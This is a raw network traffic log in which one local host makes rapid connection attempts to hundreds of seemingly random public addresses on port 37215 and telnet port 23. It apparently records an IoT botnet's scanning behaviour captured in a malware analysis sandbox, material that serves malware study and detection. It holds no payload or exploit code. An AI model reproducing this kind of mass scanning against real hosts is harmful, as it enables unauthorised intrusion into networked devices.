Mar 6, 2025 21:38:03.630517960 CET	41098	37215	192.168.2.13	196.174.172.127
Mar 6, 2025 21:38:03.630527020 CET	41098	37215	192.168.2.13	46.25.66.134
Mar 6, 2025 21:38:03.630527020 CET	41098	37215	192.168.2.13	41.39.253.4
Mar 6, 2025 21:38:03.630532980 CET	41098	37215	192.168.2.13	223.8.23.22
Mar 6, 2025 21:38:03.630532980 CET	41098	37215	192.168.2.13	223.8.164.107
Mar 6, 2025 21:38:03.630548000 CET	41098	37215	192.168.2.13	156.52.8.59
Mar 6, 2025 21:38:03.630548000 CET	41098	37215	192.168.2.13	134.247.191.6
Mar 6, 2025 21:38:03.630549908 CET	41098	37215	192.168.2.13	46.185.117.125
Mar 6, 2025 21:38:03.630553007 CET	41098	37215	192.168.2.13	46.131.92.77
Mar 6, 2025 21:38:03.630569935 CET	41098	37215	192.168.2.13	156.216.97.210
Mar 6, 2025 21:38:03.630569935 CET	41098	37215	192.168.2.13	181.179.170.210
Mar 6, 2025 21:38:03.630569935 CET	41098	37215	192.168.2.13	41.82.186.107
Mar 6, 2025 21:38:03.630592108 CET	41098	37215	192.168.2.13	223.8.245.239
Mar 6, 2025 21:38:03.630594969 CET	41098	37215	192.168.2.13	223.8.242.215
Mar 6, 2025 21:38:03.630609035 CET	41098	37215	192.168.2.13	181.100.117.242
Mar 6, 2025 21:38:03.630630016 CET	41098	37215	192.168.2.13	197.43.229.50
Mar 6, 2025 21:38:03.630630016 CET	41098	37215	192.168.2.13	41.81.101.34
Mar 6, 2025 21:38:03.630645990 CET	41098	37215	192.168.2.13	46.88.66.50
Mar 6, 2025 21:38:03.630661011 CET	41098	37215	192.168.2.13	134.200.87.45
Mar 6, 2025 21:38:03.630661011 CET	41098	37215	192.168.2.13	41.242.134.44
Mar 6, 2025 21:38:03.630672932 CET	41098	37215	192.168.2.13	181.177.209.5
Mar 6, 2025 21:38:03.630688906 CET	41098	37215	192.168.2.13	156.150.206.60
Mar 6, 2025 21:38:03.630695105 CET	41098	37215	192.168.2.13	197.0.218.0
Mar 6, 2025 21:38:03.630716085 CET	41098	37215	192.168.2.13	223.8.36.88
Mar 6, 2025 21:38:03.630718946 CET	41098	37215	192.168.2.13	41.79.82.30
Mar 6, 2025 21:38:03.630728960 CET	41098	37215	192.168.2.13	134.138.138.30
Mar 6, 2025 21:38:03.630733967 CET	41098	37215	192.168.2.13	134.121.45.237
Mar 6, 2025 21:38:03.630749941 CET	41098	37215	192.168.2.13	134.55.51.250
Mar 6, 2025 21:38:03.630749941 CET	41098	37215	192.168.2.13	181.1.146.84
Mar 6, 2025 21:38:03.630758047 CET	41098	37215	192.168.2.13	156.207.180.232
Mar 6, 2025 21:38:03.631485939 CET	23	41092	46.16.1.5	192.168.2.13
Mar 6, 2025 21:38:03.631510973 CET	41098	37215	192.168.2.13	197.143.210.117
Mar 6, 2025 21:38:03.631514072 CET	41098	37215	192.168.2.13	46.37.239.147
Mar 6, 2025 21:38:03.631537914 CET	41092	23	192.168.2.13	46.16.1.5
Mar 6, 2025 21:38:03.631540060 CET	23	41092	40.85.96.133	192.168.2.13
Mar 6, 2025 21:38:03.631546021 CET	41098	37215	192.168.2.13	41.11.53.3
Mar 6, 2025 21:38:03.631562948 CET	41098	37215	192.168.2.13	134.83.168.156
Mar 6, 2025 21:38:03.631566048 CET	41098	37215	192.168.2.13	196.90.150.250
Mar 6, 2025 21:38:03.631568909 CET	41098	37215	192.168.2.13	223.8.135.186
Mar 6, 2025 21:38:03.631568909 CET	41098	37215	192.168.2.13	46.102.160.225
Mar 6, 2025 21:38:03.631592035 CET	23	41092	95.83.196.204	192.168.2.13
Mar 6, 2025 21:38:03.631594896 CET	41092	23	192.168.2.13	40.85.96.133
Mar 6, 2025 21:38:03.631594896 CET	41098	37215	192.168.2.13	223.8.239.16
Mar 6, 2025 21:38:03.631620884 CET	23	41092	220.75.174.27	192.168.2.13
Mar 6, 2025 21:38:03.631623983 CET	41098	37215	192.168.2.13	196.118.85.15
Mar 6, 2025 21:38:03.631629944 CET	41092	23	192.168.2.13	95.83.196.204
Mar 6, 2025 21:38:03.631633043 CET	41098	37215	192.168.2.13	197.21.114.231
Mar 6, 2025 21:38:03.631649971 CET	41098	37215	192.168.2.13	196.194.52.197
Mar 6, 2025 21:38:03.631654024 CET	41098	37215	192.168.2.13	46.249.243.196
Mar 6, 2025 21:38:03.631656885 CET	23	41092	90.193.247.158	192.168.2.13
Mar 6, 2025 21:38:03.631656885 CET	41098	37215	192.168.2.13	41.147.108.84
Mar 6, 2025 21:38:03.631663084 CET	41098	37215	192.168.2.13	196.6.166.25
Mar 6, 2025 21:38:03.631665945 CET	41092	23	192.168.2.13	220.75.174.27
Mar 6, 2025 21:38:03.631692886 CET	41098	37215	192.168.2.13	197.84.9.2
Mar 6, 2025 21:38:03.631692886 CET	41092	23	192.168.2.13	90.193.247.158
Mar 6, 2025 21:38:03.631700039 CET	41098	37215	192.168.2.13	197.174.225.92
Mar 6, 2025 21:38:03.631700039 CET	41098	37215	192.168.2.13	134.87.184.70
Mar 6, 2025 21:38:03.631700039 CET	41098	37215	192.168.2.13	196.213.167.189
Mar 6, 2025 21:38:03.631702900 CET	41098	37215	192.168.2.13	181.202.229.252
Mar 6, 2025 21:38:03.631716967 CET	41098	37215	192.168.2.13	197.245.68.4
Mar 6, 2025 21:38:03.631717920 CET	41098	37215	192.168.2.13	46.231.15.207
Mar 6, 2025 21:38:03.631719112 CET	41098	37215	192.168.2.13	156.40.164.183
Mar 6, 2025 21:38:03.631727934 CET	23	41092	151.128.179.61	192.168.2.13
Mar 6, 2025 21:38:03.631736040 CET	41098	37215	192.168.2.13	197.180.169.54
Mar 6, 2025 21:38:03.631757975 CET	23	41092	112.64.201.180	192.168.2.13
Mar 6, 2025 21:38:03.631769896 CET	41098	37215	192.168.2.13	181.174.162.15
Mar 6, 2025 21:38:03.631769896 CET	41092	23	192.168.2.13	151.128.179.61
Mar 6, 2025 21:38:03.631769896 CET	41098	37215	192.168.2.13	197.210.237.106
Mar 6, 2025 21:38:03.631769896 CET	41098	37215	192.168.2.13	196.156.130.199
Mar 6, 2025 21:38:03.631783962 CET	41098	37215	192.168.2.13	197.19.10.148
Mar 6, 2025 21:38:03.631787062 CET	23	41092	17.250.47.110	192.168.2.13
Mar 6, 2025 21:38:03.631788015 CET	41098	37215	192.168.2.13	46.165.55.231
Mar 6, 2025 21:38:03.631788015 CET	41098	37215	192.168.2.13	181.182.228.131
Mar 6, 2025 21:38:03.631793976 CET	41098	37215	192.168.2.13	41.231.60.157
Mar 6, 2025 21:38:03.631805897 CET	41092	23	192.168.2.13	112.64.201.180
Mar 6, 2025 21:38:03.631805897 CET	41098	37215	192.168.2.13	223.8.227.203
Mar 6, 2025 21:38:03.631814957 CET	23	41092	76.52.196.249	192.168.2.13
Mar 6, 2025 21:38:03.631829977 CET	41098	37215	192.168.2.13	197.48.163.17
Mar 6, 2025 21:38:03.631835938 CET	41098	37215	192.168.2.13	46.205.90.64
Mar 6, 2025 21:38:03.631839037 CET	41098	37215	192.168.2.13	46.201.207.119
Mar 6, 2025 21:38:03.631839037 CET	41098	37215	192.168.2.13	196.40.168.239
Mar 6, 2025 21:38:03.631844044 CET	41092	23	192.168.2.13	17.250.47.110
Mar 6, 2025 21:38:03.631844997 CET	41098	37215	192.168.2.13	156.45.1.6
Mar 6, 2025 21:38:03.631846905 CET	41098	37215	192.168.2.13	181.45.240.179
Mar 6, 2025 21:38:03.631861925 CET	41098	37215	192.168.2.13	196.44.144.135
Mar 6, 2025 21:38:03.631864071 CET	41092	23	192.168.2.13	76.52.196.249
Mar 6, 2025 21:38:03.631865025 CET	23	41092	151.76.107.167	192.168.2.13
Mar 6, 2025 21:38:03.631892920 CET	23	41092	84.97.203.161	192.168.2.13
Mar 6, 2025 21:38:03.631900072 CET	41092	23	192.168.2.13	151.76.107.167
Mar 6, 2025 21:38:03.631915092 CET	41098	37215	192.168.2.13	196.89.100.55
Mar 6, 2025 21:38:03.631915092 CET	41098	37215	192.168.2.13	156.228.113.82
Mar 6, 2025 21:38:03.631921053 CET	41098	37215	192.168.2.13	41.195.235.33
Mar 6, 2025 21:38:03.631921053 CET	23	41092	121.63.117.133	192.168.2.13
Mar 6, 2025 21:38:03.631923914 CET	41098	37215	192.168.2.13	223.8.97.197
Mar 6, 2025 21:38:03.631923914 CET	41098	37215	192.168.2.13	223.8.244.35
Mar 6, 2025 21:38:03.631934881 CET	41098	37215	192.168.2.13	41.220.237.242
Mar 6, 2025 21:38:03.631937981 CET	41092	23	192.168.2.13	84.97.203.161
Mar 6, 2025 21:38:03.631949902 CET	23	41092	172.61.207.221	192.168.2.13
Mar 6, 2025 21:38:03.631962061 CET	41092	23	192.168.2.13	121.63.117.133
Mar 6, 2025 21:38:03.631966114 CET	41098	37215	192.168.2.13	181.87.38.125
Mar 6, 2025 21:38:03.631978035 CET	41098	37215	192.168.2.13	196.43.167.177
Mar 6, 2025 21:38:03.631978989 CET	41098	37215	192.168.2.13	196.99.173.230
Mar 6, 2025 21:38:03.631999969 CET	41098	37215	192.168.2.13	156.62.246.47
Mar 6, 2025 21:38:03.632000923 CET	23	41092	221.28.35.224	192.168.2.13
Mar 6, 2025 21:38:03.632002115 CET	41098	37215	192.168.2.13	196.26.63.44
Mar 6, 2025 21:38:03.632003069 CET	41092	23	192.168.2.13	172.61.207.221
Mar 6, 2025 21:38:03.632002115 CET	41098	37215	192.168.2.13	223.8.88.2
Mar 6, 2025 21:38:03.632030010 CET	23	41092	87.72.39.163	192.168.2.13
Mar 6, 2025 21:38:03.632036924 CET	41092	23	192.168.2.13	221.28.35.224
Mar 6, 2025 21:38:03.632045031 CET	41098	37215	192.168.2.13	41.172.61.3
Mar 6, 2025 21:38:03.632059097 CET	23	41092	40.9.147.156	192.168.2.13
Mar 6, 2025 21:38:03.632061005 CET	41098	37215	192.168.2.13	196.13.140.189
Mar 6, 2025 21:38:03.632062912 CET	41098	37215	192.168.2.13	41.35.133.151
Mar 6, 2025 21:38:03.632065058 CET	41098	37215	192.168.2.13	223.8.188.202
Mar 6, 2025 21:38:03.632066011 CET	41098	37215	192.168.2.13	46.255.10.184
Mar 6, 2025 21:38:03.632076979 CET	41092	23	192.168.2.13	87.72.39.163
Mar 6, 2025 21:38:03.632088900 CET	23	41092	8.157.109.141	192.168.2.13
Mar 6, 2025 21:38:03.632101059 CET	41098	37215	192.168.2.13	223.8.101.170
Mar 6, 2025 21:38:03.632106066 CET	41092	23	192.168.2.13	40.9.147.156
Mar 6, 2025 21:38:03.632117033 CET	23	41092	200.40.23.228	192.168.2.13
Mar 6, 2025 21:38:03.632122993 CET	41098	37215	192.168.2.13	41.178.82.123
Mar 6, 2025 21:38:03.632122993 CET	41098	37215	192.168.2.13	197.16.127.31
Mar 6, 2025 21:38:03.632128000 CET	41092	23	192.168.2.13	8.157.109.141
Mar 6, 2025 21:38:03.632138014 CET	41098	37215	192.168.2.13	197.65.45.228
Mar 6, 2025 21:38:03.632154942 CET	41092	23	192.168.2.13	200.40.23.228
Mar 6, 2025 21:38:03.632163048 CET	41098	37215	192.168.2.13	46.170.39.233
Mar 6, 2025 21:38:03.632186890 CET	41098	37215	192.168.2.13	196.114.213.245
Mar 6, 2025 21:38:03.632189035 CET	41098	37215	192.168.2.13	196.19.79.89
Mar 6, 2025 21:38:03.632194996 CET	41098	37215	192.168.2.13	134.76.175.137
Mar 6, 2025 21:38:03.632203102 CET	41098	37215	192.168.2.13	156.148.48.105
Mar 6, 2025 21:38:03.632208109 CET	41098	37215	192.168.2.13	134.250.14.201
Mar 6, 2025 21:38:03.632208109 CET	41098	37215	192.168.2.13	41.154.111.143
Mar 6, 2025 21:38:03.632208109 CET	41098	37215	192.168.2.13	41.172.7.4
Mar 6, 2025 21:38:03.632208109 CET	41098	37215	192.168.2.13	223.8.156.155
Mar 6, 2025 21:38:03.632208109 CET	41098	37215	192.168.2.13	196.251.27.28
Mar 6, 2025 21:38:03.632230043 CET	41098	37215	192.168.2.13	46.236.64.226
Mar 6, 2025 21:38:03.632231951 CET	41098	37215	192.168.2.13	197.238.9.115
Mar 6, 2025 21:38:03.632246971 CET	41098	37215	192.168.2.13	197.99.235.91
Mar 6, 2025 21:38:03.632247925 CET	41098	37215	192.168.2.13	197.154.103.166
Mar 6, 2025 21:38:03.632246971 CET	41098	37215	192.168.2.13	196.82.234.162
Mar 6, 2025 21:38:03.632257938 CET	41098	37215	192.168.2.13	223.8.181.1
Mar 6, 2025 21:38:03.632262945 CET	41098	37215	192.168.2.13	156.236.78.194
Mar 6, 2025 21:38:03.632293940 CET	41098	37215	192.168.2.13	181.75.36.86
Mar 6, 2025 21:38:03.632297039 CET	41098	37215	192.168.2.13	197.122.95.139
Mar 6, 2025 21:38:03.632314920 CET	41098	37215	192.168.2.13	134.93.161.218
Mar 6, 2025 21:38:03.632314920 CET	41098	37215	192.168.2.13	223.8.73.168
Mar 6, 2025 21:38:03.632318020 CET	41098	37215	192.168.2.13	197.20.229.146
Mar 6, 2025 21:38:03.632349014 CET	41098	37215	192.168.2.13	197.50.17.141
Mar 6, 2025 21:38:03.632349968 CET	41098	37215	192.168.2.13	223.8.233.222
Mar 6, 2025 21:38:03.632369995 CET	41098	37215	192.168.2.13	134.244.9.99
Mar 6, 2025 21:38:03.632400990 CET	41098	37215	192.168.2.13	181.44.208.87
Mar 6, 2025 21:38:03.632401943 CET	41098	37215	192.168.2.13	181.32.58.59
Mar 6, 2025 21:38:03.632409096 CET	41098	37215	192.168.2.13	156.160.61.156
Mar 6, 2025 21:38:03.632411957 CET	41098	37215	192.168.2.13	197.152.242.146
Mar 6, 2025 21:38:03.632420063 CET	41098	37215	192.168.2.13	197.218.93.64
Mar 6, 2025 21:38:03.632446051 CET	41098	37215	192.168.2.13	41.66.105.153
Mar 6, 2025 21:38:03.632446051 CET	41098	37215	192.168.2.13	134.86.202.219
Mar 6, 2025 21:38:03.632481098 CET	41092	23	192.168.2.13	178.85.107.137
Mar 6, 2025 21:38:03.632494926 CET	41092	23	192.168.2.13	204.86.20.10
Mar 6, 2025 21:38:03.632498026 CET	41092	23	192.168.2.13	122.173.139.176
Mar 6, 2025 21:38:03.632515907 CET	41098	37215	192.168.2.13	41.228.176.24
Mar 6, 2025 21:38:03.632517099 CET	41098	37215	192.168.2.13	223.8.126.49
Mar 6, 2025 21:38:03.632527113 CET	41098	37215	192.168.2.13	223.8.27.133
Mar 6, 2025 21:38:03.632527113 CET	41098	37215	192.168.2.13	156.68.142.203
Mar 6, 2025 21:38:03.632539034 CET	41098	37215	192.168.2.13	181.98.143.241
Mar 6, 2025 21:38:03.632556915 CET	41098	37215	192.168.2.13	156.137.24.0
Mar 6, 2025 21:38:03.632556915 CET	41098	37215	192.168.2.13	134.145.77.85
Mar 6, 2025 21:38:03.632560015 CET	41098	37215	192.168.2.13	196.45.83.43
Mar 6, 2025 21:38:03.632572889 CET	41098	37215	192.168.2.13	181.158.69.122
Mar 6, 2025 21:38:03.632582903 CET	23	41092	73.65.47.153	192.168.2.13
Mar 6, 2025 21:38:03.632596970 CET	41092	23	192.168.2.13	19.194.63.84
Mar 6, 2025 21:38:03.632612944 CET	23	41092	213.190.122.105	192.168.2.13
Mar 6, 2025 21:38:03.632627964 CET	41092	23	192.168.2.13	73.65.47.153
Mar 6, 2025 21:38:03.632632971 CET	41092	23	192.168.2.13	117.161.66.77
Mar 6, 2025 21:38:03.632637978 CET	41092	23	192.168.2.13	213.190.122.105
Mar 6, 2025 21:38:03.632642031 CET	23	41092	165.215.99.170	192.168.2.13
Mar 6, 2025 21:38:03.632668972 CET	41092	23	192.168.2.13	183.49.250.35
Mar 6, 2025 21:38:03.632671118 CET	41092	23	192.168.2.13	89.129.107.45
Mar 6, 2025 21:38:03.632672071 CET	23	41092	219.125.170.150	192.168.2.13
Mar 6, 2025 21:38:03.632684946 CET	41092	23	192.168.2.13	165.215.99.170
Mar 6, 2025 21:38:03.632685900 CET	41092	23	192.168.2.13	193.66.211.162
Mar 6, 2025 21:38:03.632700920 CET	23	41092	171.83.20.153	192.168.2.13
Mar 6, 2025 21:38:03.632714033 CET	41092	23	192.168.2.13	219.125.170.150
Mar 6, 2025 21:38:03.632720947 CET	41098	37215	192.168.2.13	46.93.2.228
Mar 6, 2025 21:38:03.632725000 CET	41098	37215	192.168.2.13	223.8.96.153
Mar 6, 2025 21:38:03.632730007 CET	41098	37215	192.168.2.13	156.224.97.34
Mar 6, 2025 21:38:03.632745028 CET	41092	23	192.168.2.13	171.83.20.153
Mar 6, 2025 21:38:03.632751942 CET	23	41092	178.224.221.54	192.168.2.13
Mar 6, 2025 21:38:03.632755995 CET	41098	37215	192.168.2.13	196.254.163.68
Mar 6, 2025 21:38:03.632781029 CET	23	41092	90.3.163.168	192.168.2.13
Mar 6, 2025 21:38:03.632797956 CET	41092	23	192.168.2.13	178.224.221.54
Mar 6, 2025 21:38:03.632797956 CET	41092	23	192.168.2.13	122.149.221.137
Mar 6, 2025 21:38:03.632801056 CET	41092	23	192.168.2.13	216.157.48.93
Mar 6, 2025 21:38:03.632808924 CET	23	41092	221.96.248.78	192.168.2.13
Mar 6, 2025 21:38:03.632827044 CET	41092	23	192.168.2.13	90.3.163.168
Mar 6, 2025 21:38:03.632827997 CET	41092	23	192.168.2.13	101.224.66.64
Mar 6, 2025 21:38:03.632838964 CET	23	41092	118.97.206.136	192.168.2.13
Mar 6, 2025 21:38:03.632844925 CET	41092	23	192.168.2.13	221.96.248.78
Mar 6, 2025 21:38:03.632852077 CET	41098	37215	192.168.2.13	134.4.49.208
Mar 6, 2025 21:38:03.632863998 CET	41098	37215	192.168.2.13	223.8.204.252
Mar 6, 2025 21:38:03.632868052 CET	23	41092	125.119.106.92	192.168.2.13
Mar 6, 2025 21:38:03.632872105 CET	41098	37215	192.168.2.13	41.161.83.56
Mar 6, 2025 21:38:03.632879019 CET	41092	23	192.168.2.13	118.97.206.136
Mar 6, 2025 21:38:03.632883072 CET	41098	37215	192.168.2.13	46.105.9.63
Mar 6, 2025 21:38:03.632889032 CET	41098	37215	192.168.2.13	196.134.128.253
Mar 6, 2025 21:38:03.632889032 CET	41098	37215	192.168.2.13	134.66.198.62
Mar 6, 2025 21:38:03.632898092 CET	23	41092	72.172.120.37	192.168.2.13
Mar 6, 2025 21:38:03.632908106 CET	41092	23	192.168.2.13	125.119.106.92
Mar 6, 2025 21:38:03.632919073 CET	41092	23	192.168.2.13	167.149.172.2
Mar 6, 2025 21:38:03.632925034 CET	23	41092	105.186.0.184	192.168.2.13
Mar 6, 2025 21:38:03.632942915 CET	41098	37215	192.168.2.13	196.252.75.147
Mar 6, 2025 21:38:03.632942915 CET	41098	37215	192.168.2.13	223.8.204.157
Mar 6, 2025 21:38:03.632949114 CET	41092	23	192.168.2.13	72.172.120.37
Mar 6, 2025 21:38:03.632953882 CET	23	41092	115.18.154.203	192.168.2.13
Mar 6, 2025 21:38:03.632962942 CET	41092	23	192.168.2.13	105.186.0.184
Mar 6, 2025 21:38:03.632982016 CET	23	41092	194.30.148.60	192.168.2.13
Mar 6, 2025 21:38:03.632988930 CET	41092	23	192.168.2.13	115.18.154.203
Mar 6, 2025 21:38:03.632994890 CET	41098	37215	192.168.2.13	223.8.21.79
Mar 6, 2025 21:38:03.632994890 CET	41098	37215	192.168.2.13	197.124.70.180
Mar 6, 2025 21:38:03.633009911 CET	23	41092	135.194.170.66	192.168.2.13
Mar 6, 2025 21:38:03.633009911 CET	41098	37215	192.168.2.13	223.8.38.64
Mar 6, 2025 21:38:03.633017063 CET	41092	23	192.168.2.13	194.30.148.60
Mar 6, 2025 21:38:03.633038044 CET	23	41092	196.203.210.186	192.168.2.13
Mar 6, 2025 21:38:03.633053064 CET	41098	37215	192.168.2.13	223.8.75.48
Mar 6, 2025 21:38:03.633054972 CET	41092	23	192.168.2.13	135.194.170.66
Mar 6, 2025 21:38:03.633065939 CET	23	41092	180.83.247.97	192.168.2.13
Mar 6, 2025 21:38:03.633085012 CET	41092	23	192.168.2.13	196.203.210.186
Mar 6, 2025 21:38:03.633085012 CET	41092	23	192.168.2.13	188.249.203.231
Mar 6, 2025 21:38:03.633094072 CET	23	41092	42.37.15.205	192.168.2.13
Mar 6, 2025 21:38:03.633111954 CET	41092	23	192.168.2.13	69.120.218.27
Mar 6, 2025 21:38:03.633115053 CET	41092	23	192.168.2.13	180.83.247.97
Mar 6, 2025 21:38:03.633122921 CET	23	41092	142.72.116.142	192.168.2.13
Mar 6, 2025 21:38:03.633146048 CET	41098	37215	192.168.2.13	196.174.61.45
Mar 6, 2025 21:38:03.633151054 CET	41098	37215	192.168.2.13	156.157.47.62
Mar 6, 2025 21:38:03.633151054 CET	41098	37215	192.168.2.13	196.169.114.35
Mar 6, 2025 21:38:03.633151054 CET	41092	23	192.168.2.13	42.37.15.205
Mar 6, 2025 21:38:03.633162022 CET	41098	37215	192.168.2.13	46.36.209.205
Mar 6, 2025 21:38:03.633162022 CET	41098	37215	192.168.2.13	197.214.114.204
Mar 6, 2025 21:38:03.633173943 CET	23	41092	191.70.93.225	192.168.2.13
Mar 6, 2025 21:38:03.633203030 CET	23	41092	193.213.97.124	192.168.2.13
Mar 6, 2025 21:38:03.633203983 CET	41092	23	192.168.2.13	170.183.210.248
Mar 6, 2025 21:38:03.633219004 CET	41092	23	192.168.2.13	191.70.93.225
Mar 6, 2025 21:38:03.633219004 CET	41092	23	192.168.2.13	34.148.243.163
Mar 6, 2025 21:38:03.633230925 CET	23	41092	103.142.158.186	192.168.2.13
Mar 6, 2025 21:38:03.633249044 CET	41092	23	192.168.2.13	115.252.9.161
Mar 6, 2025 21:38:03.633259058 CET	23	41092	177.57.73.199	192.168.2.13
Mar 6, 2025 21:38:03.633275986 CET	41098	37215	192.168.2.13	196.5.44.177
Mar 6, 2025 21:38:03.633275986 CET	41098	37215	192.168.2.13	41.106.108.117
Mar 6, 2025 21:38:03.633282900 CET	41098	37215	192.168.2.13	196.95.28.17
Mar 6, 2025 21:38:03.633289099 CET	23	41092	155.14.115.129	192.168.2.13
Mar 6, 2025 21:38:03.633290052 CET	41098	37215	192.168.2.13	223.8.11.136
Mar 6, 2025 21:38:03.633300066 CET	41098	37215	192.168.2.13	181.147.165.186
Mar 6, 2025 21:38:03.633313894 CET	41098	37215	192.168.2.13	156.205.35.83
Mar 6, 2025 21:38:03.633316994 CET	23	41092	180.149.255.135	192.168.2.13
Mar 6, 2025 21:38:03.633332014 CET	41092	23	192.168.2.13	155.14.115.129
Mar 6, 2025 21:38:03.633339882 CET	41098	37215	192.168.2.13	223.8.31.90
Mar 6, 2025 21:38:03.633346081 CET	23	41092	24.190.197.104	192.168.2.13
Mar 6, 2025 21:38:03.633354902 CET	41098	37215	192.168.2.13	134.199.190.7
Mar 6, 2025 21:38:03.633358002 CET	41098	37215	192.168.2.13	223.8.96.108
Mar 6, 2025 21:38:03.633358955 CET	41098	37215	192.168.2.13	156.93.34.37
Mar 6, 2025 21:38:03.633359909 CET	41092	23	192.168.2.13	180.149.255.135
Mar 6, 2025 21:38:03.633367062 CET	41098	37215	192.168.2.13	223.8.208.216
Mar 6, 2025 21:38:03.633373976 CET	23	41092	133.21.108.118	192.168.2.13
Mar 6, 2025 21:38:03.633378029 CET	41092	23	192.168.2.13	24.190.197.104
Mar 6, 2025 21:38:03.633399963 CET	41092	23	192.168.2.13	142.72.116.142
Mar 6, 2025 21:38:03.633399963 CET	41092	23	192.168.2.13	116.196.184.235
Mar 6, 2025 21:38:03.633399963 CET	41098	37215	192.168.2.13	41.192.51.201
Mar 6, 2025 21:38:03.633399963 CET	41092	23	192.168.2.13	32.120.182.216
Mar 6, 2025 21:38:03.633402109 CET	41092	23	192.168.2.13	61.188.161.137
Mar 6, 2025 21:38:03.633403063 CET	23	41092	177.175.246.21	192.168.2.13
Mar 6, 2025 21:38:03.633414030 CET	41092	23	192.168.2.13	133.21.108.118
Mar 6, 2025 21:38:03.633433104 CET	23	41092	193.129.208.228	192.168.2.13
Mar 6, 2025 21:38:03.633433104 CET	41098	37215	192.168.2.13	197.238.205.209
Mar 6, 2025 21:38:03.633433104 CET	41092	23	192.168.2.13	193.213.97.124
Mar 6, 2025 21:38:03.633434057 CET	41092	23	192.168.2.13	203.120.128.19
Mar 6, 2025 21:38:03.633433104 CET	41092	23	192.168.2.13	103.142.158.186
Mar 6, 2025 21:38:03.633433104 CET	41098	37215	192.168.2.13	196.42.23.175
Mar 6, 2025 21:38:03.633434057 CET	41092	23	192.168.2.13	177.57.73.199
Mar 6, 2025 21:38:03.633449078 CET	41092	23	192.168.2.13	177.175.246.21
Mar 6, 2025 21:38:03.633460045 CET	41092	23	192.168.2.13	113.248.89.217
Mar 6, 2025 21:38:03.633461952 CET	23	41092	222.95.4.164	192.168.2.13
Mar 6, 2025 21:38:03.633466005 CET	41098	37215	192.168.2.13	156.241.146.96
Mar 6, 2025 21:38:03.633471966 CET	41098	37215	192.168.2.13	134.71.218.243
Mar 6, 2025 21:38:03.633475065 CET	41092	23	192.168.2.13	193.129.208.228
Mar 6, 2025 21:38:03.633488894 CET	41098	37215	192.168.2.13	181.109.116.38
Mar 6, 2025 21:38:03.633491039 CET	41098	37215	192.168.2.13	223.8.223.91
Mar 6, 2025 21:38:03.633491039 CET	41092	23	192.168.2.13	222.95.4.164
Mar 6, 2025 21:38:03.633491039 CET	23	41092	41.122.157.5	192.168.2.13
Mar 6, 2025 21:38:03.633496046 CET	41098	37215	192.168.2.13	181.101.222.171
Mar 6, 2025 21:38:03.633516073 CET	41098	37215	192.168.2.13	196.225.250.173
Mar 6, 2025 21:38:03.633517981 CET	41098	37215	192.168.2.13	41.83.113.51
Mar 6, 2025 21:38:03.633519888 CET	23	41092	196.15.207.151	192.168.2.13
Mar 6, 2025 21:38:03.633522034 CET	41098	37215	192.168.2.13	197.234.74.232
Mar 6, 2025 21:38:03.633533955 CET	41092	23	192.168.2.13	41.122.157.5
Mar 6, 2025 21:38:03.633548021 CET	23	41092	125.231.122.14	192.168.2.13
Mar 6, 2025 21:38:03.633558035 CET	41092	23	192.168.2.13	196.15.207.151
Mar 6, 2025 21:38:03.633575916 CET	23	41092	42.95.216.106	192.168.2.13
Mar 6, 2025 21:38:03.633578062 CET	41092	23	192.168.2.13	217.209.210.85
Mar 6, 2025 21:38:03.633580923 CET	41092	23	192.168.2.13	87.184.222.224
Mar 6, 2025 21:38:03.633614063 CET	41092	23	192.168.2.13	68.201.159.36
Mar 6, 2025 21:38:03.633614063 CET	41092	23	192.168.2.13	135.83.12.141
Mar 6, 2025 21:38:03.633616924 CET	41092	23	192.168.2.13	42.95.216.106
Mar 6, 2025 21:38:03.633621931 CET	41092	23	192.168.2.13	182.249.127.201
Mar 6, 2025 21:38:03.633630991 CET	41092	23	192.168.2.13	175.192.185.240
Mar 6, 2025 21:38:03.633646011 CET	41092	23	192.168.2.13	125.231.122.14
Mar 6, 2025 21:38:03.633646011 CET	41092	23	192.168.2.13	120.239.76.67
Mar 6, 2025 21:38:03.633681059 CET	23	41092	190.23.154.49	192.168.2.13
Mar 6, 2025 21:38:03.633708954 CET	23	41092	204.58.64.9	192.168.2.13
Mar 6, 2025 21:38:03.633709908 CET	41098	37215	192.168.2.13	223.8.98.235
Mar 6, 2025 21:38:03.633725882 CET	41092	23	192.168.2.13	190.23.154.49
Mar 6, 2025 21:38:03.633738995 CET	23	41092	219.175.28.106	192.168.2.13
Mar 6, 2025 21:38:03.633740902 CET	41098	37215	192.168.2.13	134.45.255.144
Mar 6, 2025 21:38:03.633748055 CET	41098	37215	192.168.2.13	223.8.39.57
Mar 6, 2025 21:38:03.633748055 CET	41092	23	192.168.2.13	204.58.64.9
Mar 6, 2025 21:38:03.633758068 CET	41098	37215	192.168.2.13	197.244.33.35
Mar 6, 2025 21:38:03.633763075 CET	41098	37215	192.168.2.13	41.47.248.36
Mar 6, 2025 21:38:03.633763075 CET	41098	37215	192.168.2.13	134.81.219.115
Mar 6, 2025 21:38:03.633766890 CET	23	41092	177.79.127.162	192.168.2.13
Mar 6, 2025 21:38:03.633769035 CET	41098	37215	192.168.2.13	41.147.130.180
Mar 6, 2025 21:38:03.633774996 CET	41098	37215	192.168.2.13	181.23.81.74
Mar 6, 2025 21:38:03.633778095 CET	41098	37215	192.168.2.13	223.8.61.60
Mar 6, 2025 21:38:03.633780003 CET	41092	23	192.168.2.13	219.175.28.106
Mar 6, 2025 21:38:03.633780956 CET	41098	37215	192.168.2.13	196.187.240.223
Mar 6, 2025 21:38:03.633795977 CET	41098	37215	192.168.2.13	156.7.12.222
Mar 6, 2025 21:38:03.633811951 CET	41092	23	192.168.2.13	177.79.127.162
Mar 6, 2025 21:38:03.633816957 CET	23	41092	40.87.204.208	192.168.2.13
Mar 6, 2025 21:38:03.633845091 CET	23	41092	14.214.241.84	192.168.2.13
Mar 6, 2025 21:38:03.633847952 CET	41092	23	192.168.2.13	144.16.146.124
Mar 6, 2025 21:38:03.633862019 CET	41092	23	192.168.2.13	40.87.204.208
Mar 6, 2025 21:38:03.633862972 CET	41092	23	192.168.2.13	86.136.116.15
Mar 6, 2025 21:38:03.633872986 CET	23	41092	217.167.201.55	192.168.2.13
Mar 6, 2025 21:38:03.633889914 CET	41092	23	192.168.2.13	14.214.241.84
Mar 6, 2025 21:38:03.633893967 CET	41092	23	192.168.2.13	35.32.65.179
Mar 6, 2025 21:38:03.633893967 CET	41092	23	192.168.2.13	41.236.66.154
Mar 6, 2025 21:38:03.633917093 CET	41092	23	192.168.2.13	133.240.54.166
Mar 6, 2025 21:38:03.633917093 CET	41092	23	192.168.2.13	204.238.136.70
